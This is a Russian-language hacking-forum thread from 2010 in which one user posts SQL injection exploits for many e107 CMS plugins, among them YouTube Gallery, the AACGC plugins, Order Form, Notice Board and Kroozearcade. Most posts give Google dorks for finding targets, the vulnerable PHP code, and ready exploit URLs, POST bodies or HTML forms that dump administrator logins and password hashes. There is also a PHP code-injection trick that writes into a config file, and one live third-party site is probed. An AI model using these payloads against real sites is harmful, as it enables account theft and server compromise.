Старый 06.07.2010, 14:31   #11
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

YouTube Gallery 4.01

blind SQL inj


inurl:e107_plugins/ytm_gallery - в гугле

ytm.php в корене плагина
PHP код:
 ...if(isset($_GET['view']))
{
$view_movie $_GET['view'];
}... 
PHP код:
...$query06          "
SELECT movie_title, cat_name, cat_auth, input_user, timestamp FROM "
.MPREFIX."er_ytm_gallery_movies gm
LEFT JOIN "
.MPREFIX."er_ytm_gallery_category gg ON gm.movie_category = gg.cat_id
WHERE movie_code = '
$view_movie'";

$result06          mysql_query($query06);
while (
$row06      mysql_fetch_array($result06,MYSQL_ASSOC)) {... 
Ролик выводиться|нет(надо знать movie_code)!
http://e107/e107_plugins/ytm_gallery/ytm.php?view=OtfMIiinJso' and 1=1/* - true
http://e107/e107_plugins/ytm_gallery/ytm.php?view=OtfMIiinJso' and 1=0/* - false

У меня 5 ветка.

ytm.php- тот же файл

PHP код:
...if(isset($_GET['cat']))
{
$movie_cat $_GET['cat'];
}else{
$movie_cat $_POST['cat'];
}... 
PHP код:
...if ($movie_cat){

            
$query05        "SELECT cat_auth FROM ".MPREFIX."er_ytm_gallery_category WHERE cat_id = '$movie_cat'";
            
$result05       mysql_query($query05);
            while (
$row05   mysql_fetch_array($result05,MYSQL_ASSOC)) {
            
$check_auth     $row05['cat_auth'];}

            if(!
check_class($check_auth)) {

                        
$text .= LAN_YTM_PAGE_1;
                        
$ns->tablerender($ym_title $text);
                        require_once(
FOOTERF);
                        exit();... 
http://e107/e107_plugins/ytm_gallery/ytm.php?cat=1'+and+substring((select version()),1,1)=4--+
http://e107/e107_plugins/ytm_gallery/ytm.php?cat=1'+and+substring((select version()),1,1)=5--+ - true

Условие: mg=off
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:32   #12
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AACGC BFBC2 Stats 1.5 09 May10 - добавлено!

гугл- inurl:e107_plugins/aacgc_bfbcstats

http://plugins.e107.org/e107_plugins...?artifact.757# - скачано

2-d order inj
Никаких условий.

1 принтабельное поле. В первом запросе 2 поля.
хексим и тулим в первый атрибут :

' union select 1,concat_ws(user_loginname,':',user_password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31 from e107_user limit 0,1--

0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328757365725f6c6f67696e6e616d652c273a272c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d20

Вот так:
http://e107/e107_plugins/aacgc_bfbcs...Details.php?.1 union select 0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328757365725f6c6f67696e6e616d652c273a272c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d20,2 from e107_user limit 0,1--

На выходе:
Цитата:
:admin21232f297a57a5a743894a0e4a801fc3 ()
Сори, ":" нетуда впихнул
Member_Details.php в корене плагина.
PHP код:
...require_once("../../class2.php");
require_once(
HEADERF);

if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

if (
$pref['bfbc_enable_gold'] == "1"){$gold_obj = new gold();}

//---------------------------------------------------------------

$title .= "Battlefield Bad Company 2 Member Details";

//---------------------------------------------------------------

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();

if (
$pref['bfbc_enable_gold'] == "1"){
$username "".$gold_obj->show_orb($row2['user_id'])."";}
else
{
$username "".$row2['user_name']."";}
if (
$pref['bfbc_enable_avatar'] == "1"){
if (
$row2['user_image'] == "")
{
$avatar "";}
else... 
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:34   #13
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AACGC Xfire Stats v1.4
20 Mar 10 : 02:15 ~M@CH!N3~ 64.11 kB

2-d order inj

Xfire_History.php в корне плагина.

PHP код:
 /*
#######################################
#     AACGC Xfire Stats               #
#     by M@CH!N3                      #
#     http://www.AACGC.com            #
#######################################
*/


//-----------------------------------#Main Page Config#------------------------------------------------------
require_once("../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}
//-----------------------------------------------------------------------------------------------------------
$text .= "<center>[ <a href='".e_PLUGIN."aacgc_xfirestats/Xfire_List.php'>Back To Xfire List</a> ]<br>";

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
$row $sql->db_Fetch();
$sql2 = new db;
$sql2 ->db_Select("user""*""WHERE user_id='".$row['user_extended_id']."'","");
$row2 $sql2->db_Fetch();

$xfireusername "".$row['user_xfire']."";
$siteusername "".$row2['user_name']."";
//-----------------------

error_reportingE_ERROR );

$username "".$xfireusername."";

include 
"xfireparser.class.php";
$x = new xfire_data;
$x->SetUsername$username );

$profile $x->GetProfile();
$live $x->GetLive();
$gametime $x->GetGamedata();
$rig $x->GetGamerig();

//-----------------------

$text .= "<script src='sorttable.js' type='text/javascript'></script>";
/*...*/ 
PHP код:
/*...*/$text .= "<tr>
          <td style='width:25%' class='forumheader3' rowspan=8><center><img src='"
.$profile['avatar']."' alt='Avatar'></img> <br> ".$siteusername."'s (".$xfireusername.") <br> Xfire Details</center></td>
          <td style='width:15%' class='forumheader3'>Status:</td>
          <td style='width:60%' class='forumheader3'>"
.$live['status']."</td>
          </tr>"
;/*...*/ 
PHP код:
 /*...*/$ns -> tablerender("Xfire Details"$text);
require_once(
FOOTERF); 

Результат:
хексим ' union select 1,concat_ws(':',user_loginname,user_password),3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27,28,29,30,31 from e107_user limit 0,1--

http://e107/e107_plugins/aacgc_xfirestats/Xfire_History.php?.1 union select 0x2720756e696f6e2073656c65637420312c636f6e6361745f 777328273a272c757365725f6c6f67696e6e616d652c757365 725f70617373776f7264292c332c342c352c362c372c382c39 2c31302c31312c31322c31332c31342c31352c31362c31372c 31382c31392c32302c32312c32322c32332c32342c32352c32 362c32372c32382c32392c33302c33312066726f6d20653130 375f75736572206c696d697420302c312d2d2020,2 from e107_user limit 0,1--+

Цитата:
Avatar
admin:21232f297a57a5a743894a0e4a801fc3's ()
Xfire Details
ps
не давайте вконце запроса (незахексеного) после коментария "+". При " " вывело хеш и логин...
С "+" была ошибка, которую я увидел после того, как зашел в e107_handlers, открыл и дописал die(mysql_error()) в функцию класа который работает с БД.
Если б этого не сделал, то б не выложил пост этот...
не забываем что в таблице где юзеры есть атрибут user_admin=1, но вот с префиксом бока если другой...
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:37   #14
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

AACGC Attendance List v2.8 by ~M@CH!N3~ 07:29 02-Apr-10

гугл- e107_plugins\aacgc_event_listing

SQL injection

Уязвимые скрипты в корне плагина находяться.

Event_Details.php.
PHP код:
require_once("../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}


//------------------------------------------------------------------------------------------------------------

$text .= "<table style='width:100%' class='' cellspacing='' cellpadding=''>";


$sql->db_Select("aacgc_event_listing""*""WHERE event_id = $sub_action","");
$row $sql->db_Fetch();


if (
$row['event_link'] == "")
{
$link "";}
else
{
$link "[<a href='".$row['event_link']."'> ".$row['event_linktext']." </a>]";}

if (
$row['event_cost'] == "")
{
$cost "";}
else
{
$cost "<tr>/*...*/ 
Результат:
http://e107/e107_plugins/aacgc_event_listing/Event_Details.php?.1 and 0 union select 1,2,3,4,5,concat_ws(0x3a,user_loginname,user_passw ord),7,8,9,10 from e107_user where user_admin=1 limit 0,1

SQL inj + 2-d order inj
PHP код:
/*...*/if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);/*...*/ 
PHP код:
/*...*/if ($action == "det") {

        
$sql->db_Select("aacgc_event_listing_members""*""WHERE eventmem_id=$sub_action","");
        
$row $sql->db_Fetch();
        
$sql2 = new db;
        
$sql2->db_Select("user""*""WHERE user_id=".$row['user_id']."","");
        
$row2 $sql2->db_Fetch();
        
$sql3 = new db;
        
$sql3->db_Select("aacgc_event_listing""*""WHERE event_id=".$row['event_id']."","");
        
$row3 $sql3->db_Fetch();

if (
$row['user_choice'] == "1"){
$choice "Yes";}
if (
$row['user_choice'] == "2"){/*...*/ 
PHP код:
 /*...*/$text .= "<br><br><center>
<form method='POST' action='Event_UserEdit_Request.php'>
<table style='' class='indent'>
<tr>
<td style='width:'>Your Info:</td>
<td style='width:'><select name='user_id'><option name='user_id' value='"
.$row['user_id']."'>".$row2['user_name']."</option></td>/*...*/ 
Результат:
http://e107/e107_plugins/aacgc_event_listing/Event_UserEdit_Request.php?det.-1 union select 1,2,3,4,concat_ws(0x3a,user_loginname,user_passwor d) from e107_user where user_admin=1 limit 0,1--

все сводиться к узнанию префикса...
ps
1. есть иньекции с правами админа.
2. в update еще видел.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:39   #15
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Order Form v1.22 by -Smiley-

гугл- inurl:e107_plugins/order_form


SQL inj (blind SQL inj)


order_form.php в корене плагина.
PHP код:
 /*...*/
/// ##### CHECK QUERY --------------------------------------------------------------------------------------------------------------------------------------------------------------
if(e_QUERY){
    
$tmp explode("."e_QUERY);
    
$action $tmp[0];
    
$id $tmp[1];
    unset(
$tmp);
}
// ##### End ----------------------------------------------------------------------------------------------------------------------------------------------------------------------

// ##### EMAIL REKENING -----------------------------------------------------------------------------------------------------------------------------------------------------------
if(IsSet($_POST['email'])){
    if(
$_POST['id'] != "" && $_POST['item_name'] != "" && $_POST['from_name'] != "" && $_POST['from_email'] != "" && $_POST['from_address'] != "" && $_POST['from_postcode'] != "" && $_POST['from_city'] != "" && $_POST['from_phone'] != "" && $_POST['from_amount'] != "" && $_POST['from_amount'] != "0" && $_POST['item_value'] != "" ){

        
$sql = new db;
        if(!
$item $sql -> db_Select("order_form""*""order_form_type !='0' AND order_form_id='".$_POST['id']."' ")){
            
$error ORDER_22;
            
$id $_POST['id'];
        }else{
            while(
$row $sql -> db_Fetch()){
            
extract($row);
                
$item_name $order_form_name;
                
$item_desc $order_form_description;
                
$item_author $order_form_author;
                
$item_email $order_form_email;
                
$item_publisher $order_form_publisher;
                
$item_isbn $order_form_isbn;
                
$item_size $order_form_size;
                
$item_cost $order_form_cost;
                
$item_icon $order_form_icon;
                
$item_link $order_form_link;
            }
        }

        if(
$_POST['from_email']){
            if(!
preg_match('/^[-!#$%&\'*+\\.\/0-9=?A-Z^_`{|}~]+@([-0-9A-Z]+\.)+([0-9A-Z]){2,4}$/i'$_POST['from_email'])){
                
$error ORDER_51."<br />";
                
$id $_POST['id'];
            }
        }
/*...*/ 
PHP код:
/*...*/$message .= "
                "
.ORDER_45." ".SITENAME." : ".SITEURL."<br />
                <br />
                <b>"
.ORDER_42.":</b><br />
                "
.ORDER_3.": ".$item_name."<br />
                "
.ORDER_4.": ".$item_desc."<br />
                "
.ORDER_4.": ".$item_author."<br />
                "
.ORDER_6.": ".$item_publisher."<br />
                "
.ORDER_7.": ".$item_isbn."<br />
                "
.ORDER_8.": ".$item_size."<br />
                "
.ORDER_5." : ".$pref['order_form_bcsym']." ".$item_cost." ".$pref['order_form_csymbol']."<br />
                <br />
                <b>"
.ORDER_43.":</b><br />
                "
.ORDER_23.": ".$_POST['from_name']."<br />
                "
.ORDER_24.": ".$_POST['from_email']."<br />
                "
.ORDER_25.": ".$_POST['from_address']."<br />
                "
.ORDER_27.": ".$_POST['from_postcode']."<br />
                "
.ORDER_29.": ".$_POST['from_city']."<br />
                "
.ORDER_30.": ".$_POST['from_phone']."<br />
                "
.ORDER_32.": ".$_POST['from_amount']."<br />
                "
.ORDER_5.": ".$pref['order_form_bcsym']." ".$_POST['item_value']." ".$pref['order_form_csymbol']."<br />
                "
.ORDER_44.": ".$_POST['from_body']."<br />
                "
;/*...*/ 
Идея в том что на мыло должны приходить данные из СУБД.
У меня не работает sendmai, потому примера нет.

Так крутить как слепую можно:

PHP код:
 /*...*/...if(!sendemail($address$subject$message$headers)){
                
$message ORDER_15;
            }else{
                
$message ORDER_16;
            }...
/*...*/ 

Если все отработало, то появление текста:
Цитата:
the order is send
2. На мыло должно прийти:
Цитата:
ORDERED PRODUCT:
product: admin:21232f297a57a5a743894a0e4a801fc3
author: 3
author: 5
publisher: 7
ISBN: 8
size (in mm): 9
price : 10.00 €

Вывел в скрипте переменную чтоб было видно что будет отправляться

6 поле в иньекции - это адрес куда отправлять!
Шлем постом все переменные чтоб ошибки небыли и все...

Условие:
mg=off

target:
http://e107/e107_plugins/order_form/order_form.php

чуть не забыл:
Код HTML:
<form action="http://e107/e107_plugins/order_form/order_form.php" method=post>
<input type="text" name=id value="2' and 0 union select 1,concat_ws(0x3a,user_loginname,user_password),3,4 ,5,6,7,8,9,10,11,12,13 from e107_user limit 0,1-- ">
<input type="hidden" name=email>
<input type="hidden" name=from_email value='abrakadabra@mail.ru'>
<input type="hidden" name=from_address value=1>
<input type="hidden" name=from_name value=1>
<input type="hidden" name=item_name value=1>
<input type="hidden" name=from_postcode value=1>
<input type="hidden" name=from_city value=1>
<input type="hidden" name=from_phone value=1>
<input type="hidden" name=from_amount value=1>
<input type="hidden" name=from_amount value=1>
<input type="hidden" name=item_value value=1>
<input type=submit>
</form>
ps в других скриптах есть тоже вроде скули, нужны права админа посему не смотрел...
там где 6 пишем куда отпралять логин и хеш админа.
Удачи)
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:42   #16
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Lineage 2 Statistics v0.2 by zenger 26-Mar-10

e107_plugins/l2stat/inc/clan_info.php
PHP код:
/*...*/$id $_GET['id'];

if(
$id <= '1') {

echo 
"<br><div align='center'><input value='".LS_40."' name='Go Back' onclick=\"location.href = 'javascript:history.back()'\" class='submit' type='button'></div>";

}

else {

$awc['l2s_ip'] = "127.0.0.1";
$awc['l2s_admin'] = "zenger";
$awc['l2s_password'] = "951123";
$awc['l2s_base'] = "l2jdb";

 
mysql_connect($awc['l2s_ip'],$awc['l2s_admin'],$awc['l2s_password']) or die("".LS_38.""); 
mysql_select_db($awc['l2s_base']) or die("".LS_38.""); 

$result1 mysql_query("SELECT `clan_name`,`leader_id`,`clan_level`,`create_time`   FROM `clan_data` WHERE `clan_id`='$id'");/*...*/ 
Была б SQL inj если не
Цитата:
Parse error: syntax error, unexpected '}' in Z:\home\e107\www\e107_plugins\l2stat\inc\clan_info .php on line 33
; там не поставил автор.

Интересный плагин. Если крутиться, то повезло...
Понравился файл /e107_plugins/l2stat/admin_l2

PHP код:
 /*...*/
#-----------------------------------------------------------------------
$ip = $_POST['ip'];
$name = $_POST['name'];
$gport = $_POST['gport'];
$lport = $_POST['lport'];
$web = $_POST['web'];
$admin= $_POST['admin'];
$password = $_POST['password'];
$base = $_POST['base'];
$port = $_POST['port'];
include("dbconfig.php");

if (isset($_POST['edit'])) {
$fr = fopen('dbconfig.php', 'w');

$cos .= "<?php\n";
$cos .= "\$l2s['name'] = \"$name\";\n";
$cos .= "\$l2s['web'] = \"$web\";\n";
$cos .= "\$l2s['ip'] = \"$ip\";\n";
$cos .= "\$l2s['lport'] = \"$lport\";\n";
$cos .= "\$l2s['gport'] = \"$gport\";\n";
$cos .= "\$l2s['host'] = \"$ip\";\n";
$cos .= "\$l2s['username'] = \"$admin\";\n";
$cos .= "\$l2s['password'] = \"$password\";\n";
$cos .= "\$l2s['port'] = \"$port\";\n";
$cos .= "\$l2s['db'] = \"$base\";\n";
$cos .="?>";
fwrite($fr$cos); 
fclose($fr);/*...*/

Нужны права админа
PHP код:
/*...*/require_once(e_ADMIN."auth.php");/*...*/ 
Если есть, то можно писать в файл код так чтоб не напротить функциональность,
в поле Name(например )
Цитата:
Name Here";phpinfo();?><? $b="1
или в другой файл пишем наш код:

PHP код:
/*...*/if ($_POST['Submit']) {
extract($_POST);

$fp = fopen('config.php', 'w');

$content .= "<?php\n";
$content .="define('ONLINE','$online');\n";
$content .="define('CLAN','$clan');\n";
$content .="define('PVP','$pvp');\n";
$content .="define('PK','$pk');\n";
$content .="define('LVL','$lvl');\n";
$content .="define('REG','$reg');\n";
$content .="?>";
fwrite($fp, $content); 
fclose($fp);
echo "<div style='margin-left:30px'>Success </div>";
 echo "<META HTTP-EQUIV='refresh' CONTENT='0; URL=admin_l2s_admin.php'>";
 }; 



echo "</div>";



require_once(e_ADMIN."footer.php");
Далее http:/[host]/[path]/e107_plugins/l2stat/dbconfig.php и смотрим пхпинфо в dbconfig.php
Или в том же файле, dbconfig.php инклудиться просто. Вот так.
ps 1. остальные скрипты работают 2. можно в паблик спускать
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:45   #17
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

WowRoster v0.97 by salixzs плагин за 2009.

не смог понять - установил, а таблиц от плагина небыло. хм....

inurl:e107_plugins/wowroster - примерно 2 260

Иньекция в order by (вывода ошибки нет!)

Как лить шелл если есть условия понятно.

roster.php в корне плагина
PHP код:
/*...*/if(isset($_GET['order']))
{
    
$order $_GET['order'];
}
else
{
    
$order "rank";
}
/*...*/ 
PHP код:
/*...*/
}
    
$text .= "</tr>\n";
    
$db2->db_Select_gen("SELECT chr.*, usr.user_name FROM ".MPREFIX."wowchars chr LEFT JOIN ".MPREFIX."user usr on usr.user_id=chr.user_id ORDER BY ".$order." ".($order=="achievements" "DESC" "ASC").", name ASC LIMIT ".$offset.",".$rowsPerPage);
    while(
$toon $db2->db_Fetch())/*...*/ 
Тут можна понять что она есть:
http://ruthlesskings.net/e107_plugin...order=15,16,17

http://ruthlesskings.net/e107_plugin...order=15,16,17 limit 5--+ -true

http://ruthlesskings.net/e107_plugin...order=15,16,17 limit 5 - false

Пути:
http://ruthlesskings.net/e107_plugin...aders_menu.php

http://ruthlesskings.net/e107_plugin...nline_menu.php

http://ruthlesskings.net/e107_plugin...evers_menu.php

http://ruthlesskings.net/e107_plugin...ter_helper.php

Цитата:
Fatal error: Call to undefined function include_lan() in /home/shadowd3/public_html/ruthlesskings.net/e107_plugins/wowroster/roster_helper.php on line 2
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:47   #18
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Notice Board v1.0 Date 13:09 14-May-1

SQL inj (крутим через ошибку!)

PHP код:
/*...*/
$gnl_user=USERNAME;
    
$gnl_email=USEREMAIL;
    
$action $_POST["action"];
    
$gnl_id $_POST["gnl_id"];
    
$selected=$_POST['gnl'];
    
$sele=$_POST['sele'];
    
$gnl_scatid $_POST["cat_name"];
    
$gnl_name $_POST["gnl_name"];
    
$gnl_city $_POST["gnl_city"];
    
$gnl_detail $_POST["gnl_detail"];
    
$gnl_price $_POST['gnl_price'];
    if (
USER==FALSE){
        
$gnl_user=$_POST['gnl_user'];
        
$gnl_email=$_POST['gnl_email'];}
    
$gnl_phone $_POST['gnl_phone'];
    
$days $_POST['days'];
    
$gnl_date date("d-m-Y");
    
$gnl_kikoz =date("d-m-Y" strtotime("+ $days day"));
    
$email= new Validator();
    
$phone= new Validator();
    
$validator = new Validator();
    if (
USER==FALSE) {
        
$validator->create_error('gnl_user''Введите ваше имя, не более 20 символов''length');
    }
    
$validator->create_error('gnl_name''Введите заголовок''length');                // name of notice
    
$validator->create_error('gnl_city''Введите ваш город, не более 20 символов''length');    // city of notice
    
$validator->create_error('gnl_price''Введите цену''gnl_price');                // price of notice
    
$validator->create_error('gnl_detail''Введите текст объявления''length_detail');        // detail of notice
if (USER==FALSE) {
$validator->create_error('code''Решите пример''code');}
        
$ok = isset($_REQUEST['submitupload']) ? true false;
    if(
$ok){
            if(
$validator->valid())
                return 
false;
        if(
$phone->valid())
        return 
false;
        if(
$email->valid())
        return 
false;

/*...*/
$sql = new db;
        
$sql -> db_Insert("nb_gnl"" 0, '$gnl_scatid', '$gnl_name', '$gnl_city',  '$pic',  '$gnl_small', '$gnl_detail', '$gnl_price',  '$gnl_user', '$gnl_phone', '$gnl_email', '$gnl_date', '$gnl_kikoz'") or die(mysql_error());
/*...*/ 
target: http://[host]/[path]/e107_plugins/nboard/add.php

Цитата:
post
submitupload=1
gnl_user=aaa
gnl_city=a
gnl_price=a
gnl_email=',(select count(*) from (select 1 union select 2 union select 3)x group by concat((select concat_ws('~',user_loginname, user_password) from e107_user limit 0,1),':',floor(rand(0)*2))),'1','2','3','4','5')/*
code=[сложение чисел (капча)!]
need: mg=off

Note: форма есть на целевом ресурсе, есть другие SQL inj.

target: http://[host]/[path]/e107_plugins/nboard/add.php

2-d order inj
. (никаких условий!)
PHP код:
 /*...*/

$selected=$_POST['gnl'];

/*...*/

if(IsSet($_POST['nb_submit3'])){
$sql -> db_Select("nb_gnl""*""gnl_id=$selected");
 while(
$row $sql -> db_Fetch())
        {
                
                
$gnl_name=$row['gnl_name'];
                
$gnl_city=$row['gnl_city'];
                
$gnl_detail=$row['gnl_detail'];
                
$gnl_price=$row['gnl_price'];
                
$gnl_user=$row['gnl_user'];
                
$gnl_phone=$row['gnl_phone'];
                
$gnl_email=$row['gnl_email'];
                
$gnl_date=$row['gnl_date'];
                
$gnl_kikoz=$row['gnl_kikoz'];
            }
}
/*...*/

$sql -> db_Select("nb_gnl""*""gnl_user='$gnl_user'");
    while(
$row $sql -> db_Fetch()){
    
$gnl_id $row['gnl_id'];
    
$gnl_name=$row['gnl_name'];
    
$text .="<option value='$gnl_id'>$gnl_name</option>";
/*...*/ 
Екплуатация:
Код HTML:
<form action="http://[host]/[path]/e107_plugins/nboard/add.php" method=post> <input type=hidden name=nb_submit3> <input type=hidden name=gnl value='-2 union select 1,2,3,4,5,6,7,8,0x2720756e696f6e2073656c6563742031 2c322c636f6e6361745f777328273a272c757365725f6c6f67 696e6e616d652c757365725f70617373776f7264292c342c35 2c362c372c382c392c31302c31312c31322c31332066726f6d 20653130375f75736572206c696d697420302c312d2d20,10, 11,12,13 '> <input type=submit> </form>
Цитата:
<option value='1'>admin:21232f297a57a5a743894a0e4a801fc3</option>
Note: где то в файле видел XSS. Ну и у других запросах SQL inj
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:51   #19
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Plugin name: Kroozearcade
Version: 8.0

2-d order inj(никаких условий!)

Vuln file: /kroozearcade_menu/games/game.php

PHP код:
/*...*/
// Print navigation menu
if (isset($_GET['game'])) {
    
$text "";
    if (isset(
$_GET['userid'])) {
    
$text .= "<a href='".e_PLUGIN."kroozearcade_menu/kroozearcade.php'>".KROOZEARCADE_1."</a>";
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/hof.php'>".KROOZEARCADE_129."</a>";
    
$text .= "--> <a href='".e_PLUGIN."kroozearcade_menu/hof.php?u=".$_GET['userid']."'>".KROOZEARCADE_131."</a>";
    
$sql->mySQLresult = @mysql_query("SELECT game_title, game_id FROM ".MPREFIX."arcade_games WHERE game_id='".$_GET['gameid']."';");
    
$row $sql->db_Fetch();
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/play.php?catid=".$_GET['catid']."&gameid=".$_GET['gameid']."&userid=".$_GET['userid']."'>".$row['game_title']."</a>";
    } elseif (isset(
$_GET['t'])) {
    
$text .= "<a href='".e_PLUGIN."kroozearcade_menu/kroozearcade.php'>".KROOZEARCADE_1."</a>";
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/tournaments.php'>".TOURNAMENTS_1."s</a>";
    
$sql->mySQLresult = @mysql_query("SELECT game_id FROM ".MPREFIX."arcade_tournaments WHERE tournament_id=".$_GET['t'].";");
    
$id $sql->db_Fetch();
    
$sql->mySQLresult = @mysql_query("SELECT game_title FROM ".MPREFIX."arcade_games WHERE game_id=".$id['game_id'].";");
    
$name $sql->db_Fetch();
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/tournaments.php?t=".$_GET['t']."'>".$name['game_title']." ".TOURNAMENTS_1."</a>";
    } elseif (
$_GET['catid'] == "challenges") {
    
$text .= "<a href='".e_PLUGIN."kroozearcade_menu/kroozearcade.php'>".KROOZEARCADE_1."</a>";
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/challenges.php'>".KROOZEARCADE_130."</a>";
    
$sql->mySQLresult = @mysql_query("SELECT game_title, game_id FROM ".MPREFIX."arcade_games WHERE game_id='".$_GET['gameid']."';");
    
$row $sql->db_Fetch();
    
$text .= " --> <a href='".e_PLUGIN."kroozearcade_menu/play.php?catid=".$_GET['catid']."&gameid=".$_GET['gameid']."'>".$row['game_title']."</a>";
    } elseif (
$_GET['catid'] == "fav") {
/*...*/ 
Exploit:
Код:
http://[host]/[path]/e107_plugins/kroozearcade_menu/games/game.php?game=1&t=1 and 0 union select 0x3120616e64203020756e696f6e2073656c65637420636f6e  6361745f777328277e272c757365725f6c6f67696e6e616d65  2c757365725f70617373776f7264292066726f6d2065313037  5f75736572206c696d697420302c31
Note: Вывод:
Цитата:
Arcade --> Tournaments --> admin~21232f297a57a5a743894a0e4a801fc3 Tournament
Есть много SQL inj, но нужно mg=off + есть XSS.
Strilo4ka вне форума   Ответить с цитированием
Старый 06.07.2010, 14:53   #20
Strilo4ka
Banned
 
Регистрация: 06.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Unobtrusive AJAX Star Rating Bar

v3.0 Date 18:04 20-Jan-10

blind SQL inj

e107_plugins/ratings/ajax.php
PHP код:
 require_once("../../class2.php");

global 
$pref;

if(
$_POST['action']){


    switch(
$_POST['action']){
     case 
"ratings":

//getting the values
$q explode(","$_POST['query']);

$vote_sent preg_replace("/[^0-9]/","",$q[0]);
$id_sent preg_replace("/[^0-9a-zA-Z]/","",$q[1]);
$ip_num preg_replace("/[^0-9\.]/","",$q[2]);
$units preg_replace("/[^0-9]/","",$q[3]);
$user_rid preg_replace("/[^0-9a-zA-Z\.]/","",$q[4]);
$ratings_cat $q[5];
/*...*/
$newtotals = new db;
$newtotals ->db_Select("ratings""*""rate_id='$id_sent' AND total_cat = '$ratings_cat' ");
/*...*/


/*...*/
 
if ( $pref['ratings_message_responce'] == 'true' ) {

$new_back[] .= '<p class="voted">'.$id_sent.'. Rating: <strong>'.@number_format($sum/$added,1).'</strong>/'.$units.' ('.$count.' '.$tense.' cast) ';
$new_back[] .= '<span class="thanks">Thanks for voting!</span></p>';

$new_back[] .= '</div>';
$allnewback join("\n"$new_back);

echo 
$allnewback;
}
/*...*/ 
Условие: mg=off

Експлуатация:
Цитата:
POST
action=ratings
query=1,2,3,4,5,6' or @@version=5-- true
Цитата:
2. Rating: 1.0/4 (0 votes cast) Thanks for voting!
Цитата:
POST
action=ratings
query=1,2,3,4,5,6' or @@version=4-- false
Цитата:
2. Rating: 1.0/4 ( votes cast) Thanks for voting!
ps полноценную не провести так как query по "," разбиваеться на подстроки
Strilo4ka вне форума   Ответить с цитированием
Ответ

Метки
e107 cms, e107 cms vulnerabilities, уязвимости e107 cms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot